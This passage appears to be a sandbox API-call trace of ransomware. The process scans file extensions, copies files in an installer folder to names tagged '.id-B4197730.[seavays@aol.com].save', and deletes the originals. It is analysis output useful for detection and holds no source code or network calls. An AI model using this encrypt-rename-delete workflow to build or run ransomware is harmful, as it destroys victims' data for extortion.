[0050.914] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString=".bz2") returned 4 [0050.914] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString=".7z") returned 3 [0050.914] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.914] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.914] lstrlenW (lpString=".dbf") returned 4 [0050.914] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.914] lstrlenW (lpString=".1cd") returned 4 [0050.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.914] lstrlenW (lpString=".jpg") returned 4 [0050.914] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.914] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.914] lstrlenW (lpString=".doc") returned 4 [0050.915] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString=".docx") returned 5 [0050.915] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0050.915] lstrlenW (lpString=".pdf") returned 4 [0050.915] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString=".xls") returned 4 [0050.915] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString=".xlsx") returned 5 [0050.915] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0050.915] lstrlenW (lpString=".ppt") returned 4 [0050.915] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.915] lstrlenW (lpString=".zip") returned 4 [0050.915] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.915] lstrlenW (lpString=".rar") returned 4 [0050.915] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString=".bz2") returned 4 [0050.915] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString=".7z") returned 3 [0050.915] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.915] lstrlenW (lpString=".dbf") returned 4 [0050.915] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.915] lstrlenW (lpString=".1cd") returned 4 [0050.915] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.915] lstrlenW (lpString=".jpg") returned 4 [0050.915] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.915] Sleep (dwMilliseconds=0x64) [0052.057] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.057] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.057] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=77232) returned 1 [0052.057] CloseHandle (hObject=0x2e8) returned 1 [0052.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0052.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.058] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.058] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.058] GetLastError () returned 0x0 [0052.058] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x12db0, lpOverlapped=0x0) returned 1 [0052.060] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0052.063] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.063] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.063] SetEndOfFile (hFile=0x314) returned 1 [0052.063] CloseHandle (hObject=0x314) returned 1 [0052.065] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.065] SetEndOfFile (hFile=0x2e8) returned 1 [0052.066] CloseHandle (hObject=0x2e8) returned 1 [0052.066] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.066] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0052.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.067] lstrlenW (lpString=".doc") returned 4 [0052.067] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.067] lstrlenW (lpString=".docx") returned 5 [0052.067] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.067] lstrlenW (lpString=".pdf") returned 4 [0052.067] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.067] lstrlenW (lpString=".xls") returned 4 [0052.067] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.067] lstrlenW (lpString=".xlsx") returned 5 [0052.067] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.067] lstrlenW (lpString=".ppt") returned 4 [0052.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.068] lstrlenW (lpString=".zip") returned 4 [0052.068] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.068] lstrlenW (lpString=".rar") returned 4 [0052.068] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString=".bz2") returned 4 [0052.068] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString=".7z") returned 3 [0052.068] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.068] lstrlenW (lpString=".dbf") returned 4 [0052.068] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.068] lstrlenW (lpString=".1cd") returned 4 [0052.068] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.068] lstrlenW (lpString=".jpg") returned 4 [0052.068] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.068] lstrlenW (lpString=".doc") returned 4 [0052.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString=".docx") returned 5 [0052.068] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.068] lstrlenW (lpString=".pdf") returned 4 [0052.068] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString=".xls") returned 4 [0052.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString=".xlsx") returned 5 [0052.068] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.068] lstrlenW (lpString=".ppt") returned 4 [0052.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.069] lstrlenW (lpString=".zip") returned 4 [0052.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.069] lstrlenW (lpString=".rar") returned 4 [0052.069] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.069] lstrlenW (lpString=".bz2") returned 4 [0052.069] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.069] lstrlenW (lpString=".7z") returned 3 [0052.069] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.069] lstrlenW (lpString=".dbf") returned 4 [0052.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.069] lstrlenW (lpString=".1cd") returned 4 [0052.069] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0052.069] lstrlenW (lpString=".jpg") returned 4 [0052.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.069] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.069] lstrlenW (lpString="eula.rtf") returned 8 [0052.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.069] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3702) returned 1 [0052.069] CloseHandle (hObject=0x2e8) returned 1 [0052.070] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0052.070] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.070] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.070] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.070] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.070] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.070] GetLastError () returned 0x0 [0052.070] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe76, lpOverlapped=0x0) returned 1 [0052.072] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe80, lpOverlapped=0x0) returned 1 [0052.072] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.073] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.073] SetEndOfFile (hFile=0x314) returned 1 [0052.073] CloseHandle (hObject=0x314) returned 1 [0052.074] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.074] SetEndOfFile (hFile=0x2e8) returned 1 [0052.074] CloseHandle (hObject=0x2e8) returned 1 [0052.075] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.075] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0052.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.075] lstrlenW (lpString=".doc") returned 4 [0052.075] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.075] lstrlenW (lpString=".docx") returned 5 [0052.075] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.075] lstrlenW (lpString=".pdf") returned 4 [0052.075] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.075] lstrlenW (lpString=".xls") returned 4 [0052.075] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.075] lstrlenW (lpString=".xlsx") returned 5 [0052.075] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.075] lstrlenW (lpString=".ppt") returned 4 [0052.075] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.075] lstrlenW (lpString=".zip") returned 4 [0052.075] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.075] lstrlenW (lpString=".rar") returned 4 [0052.076] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString=".bz2") returned 4 [0052.076] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString=".7z") returned 3 [0052.076] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.076] lstrlenW (lpString=".dbf") returned 4 [0052.076] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.076] lstrlenW (lpString=".1cd") returned 4 [0052.076] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.076] lstrlenW (lpString=".jpg") returned 4 [0052.076] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.076] lstrlenW (lpString=".doc") returned 4 [0052.076] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString=".docx") returned 5 [0052.076] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.076] lstrlenW (lpString=".pdf") returned 4 [0052.076] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString=".xls") returned 4 [0052.076] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.076] lstrlenW (lpString=".xlsx") returned 5 [0052.076] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.076] lstrlenW (lpString=".ppt") returned 4 [0052.076] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.076] lstrlenW (lpString=".zip") returned 4 [0052.076] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.076] lstrlenW (lpString=".rar") returned 4 [0052.076] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.076] lstrlenW (lpString=".bz2") returned 4 [0052.077] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.077] lstrlenW (lpString=".7z") returned 3 [0052.077] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.077] lstrlenW (lpString=".dbf") returned 4 [0052.077] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.077] lstrlenW (lpString=".1cd") returned 4 [0052.077] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0052.077] lstrlenW (lpString=".jpg") returned 4 [0052.077] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.077] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.077] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.077] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=77022) returned 1 [0052.077] CloseHandle (hObject=0x2e8) returned 1 [0052.077] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0052.077] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.078] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.078] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.078] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.078] GetLastError () returned 0x0 [0052.078] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x12cde, lpOverlapped=0x0) returned 1 [0052.081] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0052.083] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.083] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.083] SetEndOfFile (hFile=0x314) returned 1 [0052.083] CloseHandle (hObject=0x314) returned 1 [0052.085] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.085] SetEndOfFile (hFile=0x2e8) returned 1 [0052.086] CloseHandle (hObject=0x2e8) returned 1 [0052.086] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.087] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0052.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.087] lstrlenW (lpString=".doc") returned 4 [0052.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.087] lstrlenW (lpString=".docx") returned 5 [0052.087] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.087] lstrlenW (lpString=".pdf") returned 4 [0052.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.087] lstrlenW (lpString=".xls") returned 4 [0052.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.087] lstrlenW (lpString=".xlsx") returned 5 [0052.087] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.087] lstrlenW (lpString=".ppt") returned 4 [0052.087] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.087] lstrlenW (lpString=".zip") returned 4 [0052.087] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.087] lstrlenW (lpString=".rar") returned 4 [0052.087] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.087] lstrlenW (lpString=".bz2") returned 4 [0052.087] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.087] lstrlenW (lpString=".7z") returned 3 [0052.087] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString=".dbf") returned 4 [0052.088] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString=".1cd") returned 4 [0052.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString=".jpg") returned 4 [0052.088] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString=".doc") returned 4 [0052.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString=".docx") returned 5 [0052.088] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.088] lstrlenW (lpString=".pdf") returned 4 [0052.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString=".xls") returned 4 [0052.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString=".xlsx") returned 5 [0052.088] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.088] lstrlenW (lpString=".ppt") returned 4 [0052.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString=".zip") returned 4 [0052.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.088] lstrlenW (lpString=".rar") returned 4 [0052.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString=".bz2") returned 4 [0052.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.088] lstrlenW (lpString=".7z") returned 3 [0052.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.088] lstrlenW (lpString=".dbf") returned 4 [0052.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.089] lstrlenW (lpString=".1cd") returned 4 [0052.089] 